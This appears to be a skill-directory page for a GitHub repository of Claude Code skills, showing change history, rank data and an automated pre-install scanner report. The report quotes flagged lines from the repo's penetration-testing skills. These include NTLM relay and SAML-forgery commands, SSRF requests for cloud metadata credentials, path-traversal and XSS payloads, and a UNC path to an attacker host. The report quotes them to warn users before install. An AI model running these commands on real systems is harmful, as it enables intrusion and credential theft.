#290 by GitHub stars

zebbern/claude-code-guide

Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user!

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/academic-paper-reviewer/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/active-directory-attacks/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/api-fuzzing-bug-bounty/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/api-shape-explorer/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/audit-flow/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/authentication-patterns/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/aws-penetration-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/broken-authentication/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/burp-suite-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/caching/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/chart-image/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/cloud-penetration-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/code-documenter/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/code-to-diagram/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/code-vuln-audit/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/composition-patterns/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/cross-examine/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/cv-tailor/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/data-viz-renderer/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/database-optimizer/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/database-scout/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/dataset-quality-audit/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/deep-module-refactor/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/design-system-builder/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/dev-guide-generator/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/ethical-hacking-methodology/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/file-path-traversal/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/html-injection-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/http-load-profiler/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/idor-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/linux-privilege-escalation/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/linux-shell-scripting/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/localization-toolkit/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/log-error-digest/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/metasploit-framework/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/network-101/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/nextjs-developer/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/pentest-checklist/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/pentest-commands/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/pipeline-blueprint/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/playwright/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/playwright/ci/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/playwright/core/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/playwright/migration/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/playwright/playwright-cli/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/playwright/pom/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/privilege-escalation-methods/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/project-sizing-guide/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/r2-upload/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/r3f-animation/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/r3f-best-practices/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/react-best-practices/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/red-team-tools/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/regression-modeler/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/regulatory-audit-generator/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/repo-audit/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/route-to-openapi/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/scanning-tools/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/scholarly-writing-refiner/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/secure-code-review/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/shodan-reconnaissance/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/smtp-penetration-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/sql-injection-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/sql-insight/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/sqlmap-database-pentesting/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/ssh-penetration-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/test-driven-dev/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/test-suite-architect/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/three-best-practices/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/timeline-builder/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/top-web-vulnerabilities/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/tos-clause-scanner/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/typescript-pro/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/vc-industry-research/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/windows-privilege-escalation/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/wireshark-analysis/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/wordpress-penetration-testing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

skills/xss-html-injection/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e96766420413

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit e967664204133b286da13126edeae07d987e8206

git clone --filter=blob:none --no-checkout https://github.com/zebbern/claude-code-guide.git .hotskills/zebbern-claude-code-guide && git -C .hotskills/zebbern-claude-code-guide checkout --detach e967664204133b286da13126edeae07d987e8206 # Copy each selected skill directory from .hotskills/zebbern-claude-code-guide into .agents/skills/<skill-name>/
4.7kGitHub stars
14stars in 7 days
78skills in this repository
21commits in 30 days

Heat

5.3
  • Star growth, last 7 daysAhead of 60% of tracked repositories
  • Star growth, last 24 hoursAhead of 70% of tracked repositories
  • Rank movement, last 7 daysAhead of 35% of tracked repositories
  • Commits, last 30 daysAhead of 84% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Aug 2, 2026Nov 6, 20264,698

Individual skills in this repository

How it works

academic-paper-reviewer

When your agent uses it

Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to "review my paper," "simulate peer review," or "give my paper a peer review.

What it loads into context

Frontmatter

69 tokens

Always available to the agent

SKILL.md

2,034 tokens

When the skill is activated

Reference documents

0 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Input Requirements
  2. Four Review Dimensions
  3. Severity Definitions
  4. Output Format
  5. Review Principles
  6. Additional Notes

Files

  • LICENSEasset1,091 bytes
  • SKILL.mdcore10,256 bytes
Read SKILL.md

# Academic Paper Reviewer — Simulated Peer Review

You are a senior academic reviewer with extensive cross-disciplinary peer review experience. When a user submits paper content (abstract, full text, or specific sections), you will conduct a systematic review across four core dimensions — **Originality, Methodology, Results, and Writing** — and provide structured Major/Minor Revision recommendations.

---

## Input Requirements

Ask the user to provide the following information (at least the first two items):

1. **Paper content**: Abstract, full text, or specific sections to be reviewed
2. **Discipline**: e.g., Computer Science, Biomedical Sciences, Economics, Psychology, etc.
3. **Target journal/conference** (optional): e.g., Nature, ICML, The Lancet — used to calibrate review standards
4. **Review focus** (optional): e.g., the user is particularly concerned about methodological soundness or writing quality
View the complete source on GitHub

Skills included

  • academic-paper-reviewer
  • active-directory-attacks
  • api-fuzzing-bug-bounty
  • api-shape-explorer
  • audit-flow
  • authentication-patterns
  • aws-penetration-testing
  • broken-authentication
  • burp-suite-testing
  • caching
  • chart-image
  • cloud-penetration-testing
  • code-documenter
  • code-to-diagram
  • code-vuln-audit
  • vercel-composition-patterns
  • cross-examine
  • cv-tailor
  • data-viz-renderer
  • database-optimizer
  • database-scout
  • dataset-quality-audit
  • deep-module-refactor
  • design-system-builder
  • dev-guide-generator
  • ethical-hacking-methodology
  • file-path-traversal
  • html-injection-testing
  • http-load-profiler
  • idor-testing
  • linux-privilege-escalation
  • linux-shell-scripting
  • localization-toolkit
  • log-error-digest
  • metasploit-framework
  • network-101
  • nextjs-developer
  • pentest-checklist
  • pentest-commands
  • pipeline-blueprint
  • playwright-skill
  • playwright-ci
  • playwright-core
  • playwright-migration
  • playwright-cli
  • playwright-pom
  • privilege-escalation-methods
  • project-sizing-guide
  • r2-upload
  • r3f-animation
  • r3f-best-practices
  • vercel-react-best-practices
  • red-team-tools
  • regression-modeler
  • regulatory-audit-generator
  • repo-audit
  • route-to-openapi
  • scanning-tools
  • scholarly-writing-refiner
  • secure-code-review
  • shodan-reconnaissance
  • smtp-penetration-testing
  • sql-injection-testing
  • sql-insight
  • sqlmap-database-pentesting
  • ssh-penetration-testing
  • test-driven-dev
  • test-suite-architect
  • three-best-practices
  • timeline-builder
  • top-web-vulnerabilities
  • tos-clause-scanner
  • typescript-pro
  • vc-industry-research
  • windows-privilege-escalation
  • wireshark-analysis
  • wordpress-penetration-testing
  • xss-html-injection

Repository facts

License
MIT
Created
Jun 21, 2025
Last pushed
Nov 4, 2026
Forks
470
Open issues
3
Project activity
Active

Rank over the last 12 weeks

Now #290 · best #217 · down 39 in 30 days

  1. #282 from Oct 31 to Nov 1
  2. #283 on Nov 2
  3. #285 on Nov 3
  4. #286 on Nov 4
  5. #289 on Nov 5
  6. #290 since Nov 6
63 earlier periods
  1. #208 on Aug 2
  2. #209 on Aug 7
  3. #210 from Aug 8 to Aug 9
  4. #215 from Aug 10 to Aug 11
  5. #214 on Aug 12
  6. #218 from Aug 13 to Aug 15
  7. #217 from Aug 16 to Aug 17
  8. #221 on Aug 18
  9. #220 on Aug 19
  10. #217 on Aug 20
  11. #218 on Aug 21
  12. #219 on Aug 22
  13. #225 on Aug 23
  14. #224 on Aug 24
  15. #225 on Aug 25
  16. #227 on Aug 26
  17. #228 on Aug 27
  18. #226 on Aug 28
  19. #227 on Aug 29
  20. #228 on Aug 30
  21. #229 on Aug 31
  22. #234 on Sep 1
  23. #228 on Sep 2
  24. #235 on Sep 3
  25. #234 on Sep 5
  26. #231 on Sep 6
  27. #233 from Sep 7 to Sep 8
  28. #234 on Sep 9
  29. #232 on Sep 10
  30. #234 from Sep 11 to Sep 12
  31. #237 from Sep 13 to Sep 14
  32. #238 on Sep 15
  33. #236 from Sep 16 to Sep 17
  34. #242 on Sep 18
  35. #242 on Sep 20
  36. #243 on Sep 21
  37. #242 on Sep 22
  38. #243 from Sep 24 to Sep 26
  39. #245 on Sep 28
  40. #246 on Sep 29
  41. #244 on Sep 30
  42. #246 on Oct 1
  43. #244 on Oct 3
  44. #245 on Oct 5
  45. #246 on Oct 6
  46. #251 on Oct 7
  47. #253 on Oct 8
  48. #253 on Oct 10
  49. #254 on Oct 11
  50. #258 on Oct 12
  51. #260 on Oct 13
  52. #258 on Oct 14
  53. #259 on Oct 15
  54. #261 on Oct 17
  55. #262 from Oct 18 to Oct 19
  56. #263 on Oct 20
  57. #267 from Oct 21 to Oct 22
  58. #265 on Oct 23
  59. #268 on Oct 24
  60. #270 on Oct 25
  61. #273 on Oct 28
  62. #278 on Oct 29
  63. #280 on Oct 30

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 2, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 624 notes
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 2,106 signals by file

skills/active-directory-attacks/SKILL.md

  • Dangerous shell operationline 57
    sudo date -s "14 APR 2024 18:25:16"
  • Network accessline 263
    ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

skills/active-directory-attacks/references/advanced-attacks.md

  • Network accessline 232
    # Start relay ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  • Network accessline 233
    ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  • Network accessline 295
    # Forge SAML token python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
  • Network accessline 296
    python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local

skills/api-fuzzing-bug-bounty/SKILL.md

  • Network accessline 57
    # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite
  • Network accessline 58
    kr scan https://target.com -w routes-large.kite
  • Network accessline 145
    <object data="http://127.0.0.1:8443"/>
  • Network accessline 146
    <img src="http://127.0.0.1:445"/>
  • Network accessline 152
    # If .NET app uses Path.Combine(path_1, path_2) # Test for path traversal https://example.org/download?filename=a.png
  • Network accessline 153
    # Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config
  • Network accessline 154
    https://example.org/download?filename=a.png
  • Network accessline 155
    https://example.org/download?filename=C:\inetpub\wwwroot\web.config
  • Network accessline 156
    https://example.org/download?filename=\\smb.dns.attacker.com\a.png
  • Network accessline 249
    # XSS via GraphQL endpoint http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
  • Network accessline 250
    http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
  • Network accessline 252
    # URL-encoded XSS http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
  • Network accessline 253
    http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
  • Network accessline 298
    <!-- SSRF via PDF export --> <object data="http://127.0.0.1:8443"/>
  • Network accessline 299
    <object data="http://127.0.0.1:8443"/>
  • Network accessline 301
    <!-- Port scanning --> <img src="http://127.0.0.1:445"/>
  • Network accessline 302
    <img src="http://127.0.0.1:445"/>
  • Network accessline 304
    <!-- IP disclosure --> <img src="https://iplogger.com/yourcode.gif"/>
  • Network accessline 305
    <img src="https://iplogger.com/yourcode.gif"/>
  • Network accessline 418
    curl -X POST https://target.com/graphql \

skills/audit-flow/EXAMPLES.md

  • Access to secretsline 114
    [Credential-related source omitted]
  • Dangerous shell operationline 332
    | `eval()`, `new Function()`          | Code injection      | critical |

skills/audit-flow/SKILL.md

  • Dangerous shell operationline 37
    | `rm .audit/audit.db`                                  | Destroys audit history   |

skills/audit-flow/scripts/audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/audit-flow/setup.sh

  • Executable scriptline 1
    #!/bin/bash

skills/authentication-patterns/SKILL.md

  • Access to secretsline 96
    [Credential-related source omitted]

skills/aws-penetration-testing/SKILL.md

  • Network accessline 35
    | Tool | Purpose | Installation | |------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |
  • Network accessline 36
    |------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | | SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` |
  • Network accessline 37
    | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |
  • Network accessline 39
    | Prowler | Security auditing | `pip install prowler` | | ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |
  • Network accessline 40
    | ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | | Principal Mapper | IAM analysis | `pip install principalmapper` |
  • Network accessline 41
    | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |
  • Network accessline 95
    # Access metadata endpoint http://169.254.169.254/latest/meta-data/
  • Network accessline 96
    http://169.254.169.254/latest/meta-data/
  • Network accessline 98
    # Get IAM role name http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 99
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 101
    # Extract temporary credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
  • Network accessline 102
    http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 117
    [Credential-related source omitted]
  • Network accessline 118
    "http://169.254.169.254/latest/api/token")
  • Network accessline 120
    [Credential-related source omitted]
  • Network accessline 121
    [Credential-related source omitted]
  • Network accessline 122
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  • Network accessline 132
    # Access credentials http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
  • Network accessline 133
    http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
  • Network accessline 207
    # Common bucket URL patterns https://{bucket-name}.s3.amazonaws.com
  • Network accessline 208
    https://{bucket-name}.s3.amazonaws.com
  • Network accessline 209
    https://s3.amazonaws.com/{bucket-name}
  • Network accessline 228
    https://buckets.grayhatwarfare.com/
  • Dangerous shell operationline 284
    sudo mkdir /mnt/stolen
  • Dangerous shell operationline 285
    sudo mount /dev/xvdf1 /mnt/stolen
  • Network accessline 306
    git clone https://github.com/NetSPI/aws_consoler
  • Network accessline 343
    | List EC2 | `aws ec2 describe-instances` | | List Lambda | `aws lambda list-functions` | | Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
  • Network accessline 345
    | Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
  • Network accessline 373
    # 1. Find SSRF vulnerability in web app https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 374
    https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 376
    # 2. Get role name from response # 3. Extract credentials https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
  • Network accessline 378
    https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
  • Access to secretsline 382
    [Credential-related source omitted]
  • Access to secretsline 383
    [Credential-related source omitted]

skills/aws-penetration-testing/references/advanced-aws-pentesting.md

  • Network accessline 40
    git clone https://github.com/duo-labs/cloudmapper.git
  • Network accessline 61
    git clone https://github.com/nccgroup/s3_objects_check
  • Network accessline 67
    # Finds secrets exposed via Amazon EBS's "public" mode git clone https://github.com/BishopFox/dufflebag
  • Network accessline 68
    git clone https://github.com/BishopFox/dufflebag
  • Network accessline 108
    # Get function details and download code aws lambda get-function --function-name FUNCTION_NAME wget -O lambda-function.zip "url-from-previous-query"
  • Network accessline 110
    wget -O lambda-function.zip "url-from-previous-query"
  • Network accessline 148
    # Via RCE - get environment variables https://apigateway/prod/system?cmd=env
  • Network accessline 149
    https://apigateway/prod/system?cmd=env
  • Network accessline 151
